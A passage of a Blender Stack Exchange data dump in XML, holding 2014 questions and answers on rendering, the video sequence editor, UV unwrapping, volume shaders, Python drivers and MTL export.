/&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the downloaded file:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JIS6d.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable it:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v8mZC.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;If you want it to stay enabled after quitting blender, be sure to click &lt;em&gt;Save User Settings&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2018-05-15T18:05:53.347" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19203" PostTypeId="1" CreationDate="2014-11-25T07:23:02.797" Score="1" ViewCount="627" Body="&lt;p&gt;I have recently installed Nvidea geForce GT610 graphic card (CUDA enabled) to enhance the rendering time for a simple scene under cycles. To my surprise I found the rendering time with GPU setting is much longer (more than 2 time) than with CPU setting.  Searching the net could not provide any solution.  Can someone exlain me why this is so?&lt;/p&gt;&#xA;" OwnerUserId="8166" LastActivityDate="2014-11-26T15:11:06.347" Title="Why my GPU rendering time is more than CPU rendering time?" Tags="&lt;cycles-render-engine&gt;&lt;gpu&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19206" PostTypeId="1" AcceptedAnswerId="19234" CreationDate="2014-11-25T10:18:12.833" Score="5" ViewCount="1443" Body="&lt;p&gt;I try to make a short movie clip using Blender's video sequence editor. I'm using 6 different clips which I want to put together using transitions. The clips are distributed around 4 different channels/tracks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Blender 2.72b on Linux with all ffmpeg codecs and everything installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My problem is:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All looks excactly as I want it to in the preview on the upper right, but the rendered video is completely different. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some (not all) Gamma Cross transitions are simply black and the some of the single clips are too long although I've cut and deleted the unwanted parts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All these wrong/broken transitions and cuts work if I only render the transition plus minus 10 frames or something. So only the whole video together is broken, but consisting of working parts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is what it looks like in the Blender preview&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XpqzS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is what I get as output&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8nDEr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the gamma cross transition is replaced by a much shorter gamma cross from black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't wonder about different image sizes, this is only my incapability of making proper screenshots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I force Blender to render the video exactly as in the preview window? Or does anyone have an idea what's going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Screenshot of the whole Blender Window&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UcAz8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8185" LastEditorUserId="8185" LastEditDate="2014-11-25T22:06:03.223" LastActivityDate="2015-02-07T22:34:58.447" Title="Blender Video Editing Output differs from Preview" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19207" PostTypeId="1" AcceptedAnswerId="19214" CreationDate="2014-11-25T13:01:46.840" Score="12" ViewCount="3750" Body="&lt;p&gt;I'm using a lot of custom-defined transform orientations (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Space&lt;/kbd&gt;) recently while modeling. The list has grown too large, how do I remove some or all of them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M7g9J.png&quot; alt=&quot;Transform orientations&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1621" LastEditorUserId="241" LastEditDate="2014-11-25T15:13:56.477" LastActivityDate="2014-11-26T19:07:06.010" Title="How do I remove unwanted Transform Orientations?" Tags="&lt;transforms&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19208" PostTypeId="1" CreationDate="2014-11-25T13:02:55.087" Score="0" ViewCount="1568" Body="&lt;p&gt;I'd love to make a rusty texture for specific part of my model (look at the picture), through texture paint, but I don't know how. It seems pretty lenghty and hard for me, in case of making it manually. So my question is - is there any easier way to make rusty texture &lt;strong&gt;only&lt;/strong&gt; for part of my model?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ca1V0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user3123" LastActivityDate="2017-05-13T07:20:40.667" Title="How to make a rusty texture?" Tags="&lt;texturing&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19210" PostTypeId="2" ParentId="19199" CreationDate="2014-11-25T13:15:04.000" Score="1" Body="&lt;p&gt;According to your file, IK limits are defined. You need to unlock related axis, or set appropriate angle ranges for consistency, in order to avoid control conflicts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DLuce.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-11-25T13:15:04.000" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19211" PostTypeId="1" CreationDate="2014-11-25T13:36:09.630" Score="10" ViewCount="44387" Body="&lt;p&gt;I try to unwrap uv on first ever 3d model i made in blender which is Baymax., then that message shows up in upper right corner of screen. The uv map looks so grotesque. I already tried remove double but nothing changed. &#xA;Help me pls. &#xA;Thanks. &#xA;Im noob at blender btw. &lt;/p&gt;&#xA;" OwnerUserId="8188" LastActivityDate="2015-12-17T16:01:44.597" Title="how to fix &quot;object has no uniform scale&quot;?" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ClosedDate="2014-11-25T14:14:00.220" ContentLicense="CC BY-SA 3.0" />
  <row Id="19212" PostTypeId="2" ParentId="19211" CreationDate="2014-11-25T13:45:29.863" Score="19" Body="&lt;p&gt;Select the object and press &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; in 'Object Mode'. &lt;strong&gt;Apply the Scale&lt;/strong&gt;, then try to unwrap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also see the fragment of Blender Guru's tutorial, where he's talking about it:&#xA;&lt;a href=&quot;https://youtu.be/XCEN0qQOsIA?t=345&quot; rel=&quot;noreferrer&quot;&gt;https://youtu.be/XCEN0qQOsIA?t=345&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-12-17T16:01:44.597" LastActivityDate="2015-12-17T16:01:44.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19213" PostTypeId="2" ParentId="19207" CreationDate="2014-11-25T14:51:04.000" Score="7" Body="&lt;p&gt;It is possible to delete a transform orientations by selecting it, hitting &lt;kbd&gt;Space&lt;/kbd&gt;, and searching for &lt;em&gt;Delete Orientation&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2014-11-25T21:21:21.180" LastActivityDate="2014-11-25T21:21:21.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19214" PostTypeId="2" ParentId="19207" CreationDate="2014-11-25T15:06:44.997" Score="12" Body="&lt;p&gt;The custom transforms are also listed in the 'Transform Orientations' panel in the Properties shelf (&lt;kbd&gt;N&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choose the custom transform you would like to delete from the list, then press the 'x' next to it to remove it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pqzba.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2014-11-26T19:07:06.010" LastActivityDate="2014-11-26T19:07:06.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19215" PostTypeId="1" CreationDate="2014-11-25T15:21:52.557" Score="1" ViewCount="75" Body="&lt;p&gt;I would like to have this window permanently on screen&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/ad7N9L9&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/ad7N9L9.png&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7780" LastEditorUserId="241" LastEditDate="2014-11-25T15:30:20.167" LastActivityDate="2014-11-25T15:30:20.167" Title="How to make redo last pop-up to not disappear after cursor moved out?" Tags="&lt;modeling&gt;&lt;interface&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19216" PostTypeId="1" CreationDate="2014-11-25T15:34:18.567" Score="1" ViewCount="307" Body="&lt;p&gt;How can I extract the data created by a particle combing operation (on hair particles, for instance) to file (even if some Python code is required) in a 3-component RGB normal image map to UV space (when the unwrapping has already been done for the geometry), and then (that's a second question, I guess) feed it back to the particle system without having to recomb again?&lt;/p&gt;&#xA;" OwnerUserId="8190" LastEditorUserId="8190" LastEditDate="2014-11-25T15:50:57.743" LastActivityDate="2014-11-25T18:56:16.660" Title="How to Save Particle Combing Data to a Normal Map Image File in UV Space?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;particles&gt;&lt;normals&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19217" PostTypeId="1" AcceptedAnswerId="19227" CreationDate="2014-11-25T15:46:47.167" Score="3" ViewCount="5871" Body="&lt;p&gt;I'm working on lighting a scene in which I need to have both an Environment texture for the background and Volume Scatter for light cones, but when I check the volume section in &lt;em&gt;World&lt;/em&gt; setting and choose the &lt;em&gt;Volume Scatter&lt;/em&gt;, the environment becomes black background (&lt;em&gt;but the lighting works as I want&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I'm using Blender 2.72&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be fixed?&lt;/p&gt;&#xA;" OwnerUserId="8186" LastEditorUserId="3078" LastEditDate="2014-11-25T20:47:17.620" LastActivityDate="2016-04-01T04:40:36.870" Title="Why doesn't an Environment texture appear when the world has a Volume Scatter shader?" Tags="&lt;cycles-render-engine&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19218" PostTypeId="1" AcceptedAnswerId="19390" CreationDate="2014-11-25T16:28:22.973" Score="1" ViewCount="204" Body="&lt;p&gt;During the game I want to create a new Object that changes its physics mesh according to a selected ID with an Edit Object actuator and a script on the added Object. I change the mesh with the method obj.replaceMesh() and it works fine.&lt;br&gt;&#xA;But when I add in another of the same object ingame, now using a different ID and therefore changing to a different physics mesh, the first object changes its physics mesh as well without the script running on it anymore.&lt;br&gt;&#xA;I guess this is happening because they are basically the same object, and blender does not change the physics for the generated object in the game but for the source itself, changing every copy currently loaded in the engine.&lt;br&gt;&#xA;Is there any way I can unlink the objects from each other, keeping their received physics mesh?&lt;/p&gt;&#xA;" OwnerUserId="8191" LastActivityDate="2014-11-30T23:29:57.617" Title="Unlink physics of duplicated objects in Blender Game" Tags="&lt;scripting&gt;&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19219" PostTypeId="1" CreationDate="2014-11-25T16:33:53.343" Score="3" ViewCount="1440" Body="&lt;p&gt;In cycles render I have a RGBA movie of a man waving that I'm using as a texture on a plane.  Using nodes, I can make the alpha channel transparent, but the plane is still casting its rectangular shadow on the plane behind it.  I want only the man's shadow on the back plane. Is there a way to do that?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9WXmO.jpg&quot; alt=&quot;Example picture&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7702" LastActivityDate="2014-11-25T20:54:57.363" Title="Transparent Plane Still Casts Shadow" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;transparency&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19220" PostTypeId="1" AcceptedAnswerId="19246" CreationDate="2014-11-25T17:34:38.023" Score="1" ViewCount="1040" Body="&lt;p&gt;I am writing a script and this script required adding a driver to an object,so I added it but I have 2 problems with it.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I have added a single property variable and set its ID and path. After I run the script, the variable added correctly and everything is fine, but I see that the &lt;strong&gt;path is colored in red&lt;/strong&gt; and Blender said that my &lt;strong&gt;driver failed&lt;/strong&gt;. I figure how to fix this, by selecting the ID object (spin object) one more time (which is already selected) as shown in the figure.&#xA;So how can I fix this? Because I don't want to do this every time I run the script.&#xA;and here is the script and the image.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;newVar.name = &quot;Array&quot;&#xA;newVar.type = 'SINGLE_PROP'&#xA;newVar.targets[0].id = bpy.data.objects['Spin object']&#xA;newVar.targets[0].data_path = 'modifiers[&quot;Array&quot;].count'&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z6wze.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;When I &lt;strong&gt;change the value of the variable&lt;/strong&gt; (array count), I didn't see the effect until I press update dependencies. I want it to be updated &lt;strong&gt;without pressing update dependencies&#xA;every time&lt;/strong&gt; I change the value of the variable. How can I do this?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5794" LastEditorUserId="1363" LastEditDate="2014-11-25T18:02:22.953" LastActivityDate="2014-11-27T15:22:31.227" Title="Adding driver through python doesn't work properly?" Tags="&lt;scripting&gt;&lt;modifiers&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19221" PostTypeId="1" CreationDate="2014-11-25T18:18:58.923" Score="2" ViewCount="744" Body="&lt;p&gt;My 3D modeling skills are limited to SketchUp, so forgive my lack of experience. I don't understand how to model something, in programs like Blender, with precision when it comes to measurements. How can I make something exactly 1/4 inches thick, or extrude a face by 2.38 inches, or 25 mm?&lt;/p&gt;&#xA;" OwnerUserId="8193" LastEditorUserId="3078" LastEditDate="2014-11-25T20:09:19.873" LastActivityDate="2014-11-25T20:09:19.873" Title="How to model with precision" Tags="&lt;measurement&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-11-25T21:47:30.310" ContentLicense="CC BY-SA 3.0" />
  <row Id="19222" PostTypeId="2" ParentId="19187" CreationDate="2014-11-25T18:38:48.003" Score="2" Body="&lt;p&gt;I created a .blend file start with the default cube.  I gave it a relative shape key and shrunk one of the faces.  I then added keyframes at 1 and 31 with influence 0 and 1.0 respectively.  That makes the face shrink over time.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then duplicated the cube with alt-d.  Since both cubes have the same mesh, the action is on both of them.  I made a single-user copy of the mesh by clicking the [2] button next to the mesh's name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It still had a link to the action datablock.  While there are probably easier ways to do this I went into the NLA editor and used the vv icon to move the action into a track, then I deleted the track.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I have one cube with the action, and another cube with no action.  I think I am at the point where I can answer your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took the cube that has no action and in the NLA editor I used the menu Add &gt; Add Track to put an NLA track on it.  Then I use Add &gt; Add Action Strip and select the KeyAction.  This causes the action to be added as a strip in the track starting at the current frame of the timeline (I had my time cursor at 31).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I have two cubes, each with its own mesh datablock (although they have identical shape keys) and those shape keys are animated by the same action, but the action occurs at different times, because the strip is offsetted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although this may not be exactly what you want to accomplish, maybe it shines light on the relationships between the datablocks and guides you to your answer.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-11-25T18:38:48.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19223" PostTypeId="2" ParentId="19216" CreationDate="2014-11-25T18:56:16.660" Score="1" Body="&lt;p&gt;I do not have an answer for you, although I can provide you with a few nuggets of info that will come in handy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is some python code that shows you how to dump the coordinates of the root and tip of the hairs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def dump_particles(ps):&#xA;    for p in ps.particles:&#xA;        print(p.location)&#xA;        #print(p.fuv)&#xA;        print(p.hair_keys[-1].co_local)&#xA;        print(&quot;_&quot;)&#xA;&#xA;dump_particles(bpy.context.active_object.particle_systems[0])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The major stumbling block is that the &lt;a href=&quot;http://en.wikipedia.org/wiki/Barycentric_coordinate_system&quot; rel=&quot;nofollow noreferrer&quot;&gt;barycentric coordinate&lt;/a&gt; of the hair is NOT exposed via the python API.  (see also &lt;a href=&quot;https://blender.stackexchange.com/questions/13736/how-do-i-comb-hair-in-python&quot;&gt;How do I comb hair in python?&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes calculating the position of the hair in UV coordinates much harder (although you could probably reverse-engineer it from the location if you are willing to do a lot of analytic geometry).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even once you do figure out where the hair is in UV space, you'll need to choose how to interpolate to compute the values for the image you want to use as a normal map.  (Maybe compute the dual of a &lt;a href=&quot;http://en.wikipedia.org/wiki/Voronoi_diagram&quot; rel=&quot;nofollow noreferrer&quot;&gt;voronoi diagram&lt;/a&gt; and use barycentric coordinates again).&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2014-11-25T18:56:16.660" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19224" PostTypeId="2" ParentId="19221" CreationDate="2014-11-25T18:58:00.577" Score="4" Body="&lt;p&gt;You can just enter an amount when some operator is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you'll have to set your units:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7zQO9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, if you choose &lt;code&gt;Metric&lt;/code&gt;, you can press, for instance, &lt;kbd&gt;E&lt;/kbd&gt; (Extrude), and then press, for instance &lt;kbd&gt;2&lt;/kbd&gt;, to extrude the selected vertices, and move then by 2 meters.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-11-25T18:58:00.577" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19225" PostTypeId="2" ParentId="19206" CreationDate="2014-11-25T19:31:50.427" Score="3" Body="&lt;p&gt;It looks like a &lt;strong&gt;gamma issue&lt;/strong&gt;. Make sure your Color Management is set up correctly. You can try to set your gamma value to &lt;code&gt;2.2&lt;/code&gt; and make sure &lt;code&gt;sRGB&lt;/code&gt; is the color space for the sequencer to display the preview in the right color space. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xa0R7.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2014-11-25T19:47:25.560" LastActivityDate="2014-11-25T19:47:25.560" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19227" PostTypeId="2" ParentId="19217" CreationDate="2014-11-25T21:16:20.457" Score="11" Body="&lt;p&gt;This is a &lt;a href=&quot;https://www.blender.org/manual/render/cycles/materials/volume.html?highlight=volume%20world#volume-world&quot; rel=&quot;nofollow noreferrer&quot;&gt;known limitation&lt;/a&gt;, and it's not exactly a bug.&lt;/p&gt;&#xA;&lt;p&gt;Because the world background is an infinite distance away and a world volume shader is assumed to be infinitely large, there is a bit of a problem. No matter how low the density of the volume is, it will completely absorb all light going an infinite distance through it.&lt;/p&gt;&#xA;&lt;h2&gt;The solution&lt;/h2&gt;&#xA;&lt;p&gt;You can use a finite object volume instead of an infinite world volume.&lt;/p&gt;&#xA;&lt;p&gt;To do this, create a largish cube object or any shape which encloses your entire scene (or at least the part which should have fog/mist/whatever in it).&lt;/p&gt;&#xA;&lt;p&gt;By adding a volume shader to this object, you can create a finite volume around your scene which you have much more control over. See &lt;a href=&quot;https://blender.stackexchange.com/a/13814/599&quot;&gt;my answer here&lt;/a&gt; for more detail.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-04-01T04:40:36.870" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19230" PostTypeId="2" ParentId="19187" CreationDate="2014-11-25T22:52:47.120" Score="0" Body="&lt;p&gt;I was able to kludge up something by rigging a driver from an armature&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the library .blend you have to create the mesh with the shape key and have its value driven from an attribute of a bone in an armature (I used the local Z coordinate of the bone, but this is a matter of taste).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you link the mesh and the armature from the library .blend.  I'm pretty sure you have to turn the armature into a proxy.  After that you can pose the bone and the shape key should adjust.  (just understand that bone coordinates are really screwy and to alter its Z coordinate, you might end up animating the Y data_path.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This technique is derived from one of the animation techniques used to correct for pinching of skin when bones are rotated &quot;too far&quot;.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-11-25T22:52:47.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19231" PostTypeId="1" CreationDate="2014-11-25T22:58:31.040" Score="0" ViewCount="214" Body="&lt;p&gt;I am currently working on a simulation where I want a pillar to be destroyed by a sphere, when I click on record animation and run it, the sphere does not move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I prevent this from happening so my sphere's animation is not overwritten?&lt;/p&gt;&#xA;" OwnerUserId="8198" LastActivityDate="2015-01-22T23:02:16.573" Title="Blender Game animation recording: specific recording" Tags="&lt;animation&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19232" PostTypeId="1" AcceptedAnswerId="19236" CreationDate="2014-11-25T23:28:43.713" Score="4" ViewCount="838" Body="&lt;p&gt;I was trying to integrate a dragon model from blendswap into my model, but the problem is that no matter what I do the dragon appears bright and is fully visible. Can someone help me understand what is the source of light which is causing the dragon to appear rather than look similar to objects on the map (for instance the building)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;https://www.dropbox.com/s/tlu7id4jr2wx50l/dragon%20-%20Copy.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7591" LastActivityDate="2014-11-26T02:52:11.017" Title="Object appears bright even when there is no light" Tags="&lt;game-engine&gt;&lt;camera&gt;&lt;light&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19233" PostTypeId="1" CreationDate="2014-11-26T00:42:33.957" Score="2" ViewCount="190" Body="&lt;p&gt;My particles are cubes. I want to influence their size on one axis by an animated particle texture. Is that even possible? Both particle size and hair length seem only to affect the overall size of the particle. Thanks&lt;/p&gt;&#xA;" OwnerUserId="8199" LastActivityDate="2014-11-26T00:42:33.957" Title="can a particle texture influence the particle size on only one axis?" Tags="&lt;texturing&gt;&lt;particles&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19234" PostTypeId="2" ParentId="19206" CreationDate="2014-11-26T00:52:05.880" Score="3" Body="&lt;p&gt;I can't tell for certain, but I'll hazard a guess that it is a codec issue. Render the sequences to JPEGs or TIFFs, and see if it persists. Bi directional frames can wreak havoc on your Presentation Time Stamps (PTS). Hence why some codecs are poorly suited for editing.&lt;/p&gt;&#xA;" OwnerUserId="213" LastEditorUserId="213" LastEditDate="2015-02-07T22:34:58.447" LastActivityDate="2015-02-07T22:34:58.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19236" PostTypeId="2" ParentId="19232" CreationDate="2014-11-26T02:52:11.017" Score="3" Body="&lt;p&gt;This is because the dragon's texture is influencing the &lt;em&gt;Emit&lt;/em&gt; property of the material. If you disable it in &lt;em&gt;Properties &gt; Textures &gt; Influence&lt;/em&gt; (with the dragon selected), it works as expected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EVVLq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-11-26T02:52:11.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19237" PostTypeId="1" AcceptedAnswerId="19422" CreationDate="2014-11-26T03:25:16.893" Score="6" ViewCount="2637" Body="&lt;p&gt;I find that using depth of field (DOF) distorts the render pass masks, especially for very out of focus objects with a low f-stop (large aperture).  I am trying to get around this by making a separate render layer with no DOF which I will only use for pass index masks.  But I have not found a way to use no DOF on a specific render layer.  So is it possible to tell blender to not use any DOF in a specific render layer, either directly or by using a different camera?&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2014-12-01T21:05:18.407" Title="Is it possible to create a render layer with no depth of field?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;compositor&gt;&lt;camera&gt;&lt;depth-of-field&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19238" PostTypeId="1" AcceptedAnswerId="19239" CreationDate="2014-11-26T06:00:56.627" Score="7" ViewCount="1235" Body="&lt;p&gt;I'm exporting a model from Blender into OBJ and MTL files. When I look at the generated MTL file I see that the &quot;Ka&quot; component of the material is all zeros, and there is no information about the reflectance and translucency of the material either. Have a look:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;newmtl BigWall&#xA;Ns 15.000000&#xA;Ka 0.000000 0.000000 0.000000&#xA;Kd 1.000000 1.000000 1.000000&#xA;Ks 1.000000 1.000000 1.000000&#xA;Ni 1.000000&#xA;d 1.000000&#xA;illum 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here the Kd and Ks colours have the correct value (all white) but the Ka is set to black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen that the &lt;code&gt;illum&lt;/code&gt; statement can provide some hints on whether reflectance is used, but it does not give me any coefficients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how can I make Blender export the ambient coefficient or an ambient colour to this file? And from where can I take the coefficients of reflectance and translucency?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BTW:&lt;/strong&gt; I found these similar questions here but they were not answered, I hope to run with better luck:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/5154/blender-not-exporting-ambient-coefficient-in-mtl&quot;&gt;Blender not exporting Ambient Coefficient in .MTL&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/2904/export-wavefront-mtl-file-where-is-the-reflectance-coefficient&quot;&gt;Export Wavefront .mtl file — Where is the reflectance coefficient&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Blender's documentation &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Import-Export/Wavefront_OBJ#Export_Options&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; claims to be able to export ambient colour and shading settings like transparency.&lt;/p&gt;&#xA;" OwnerUserId="8200" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-11-26T06:35:08.673" Title="Ka always zeros in MTL file, reflectance and translucency coeffs also missing" 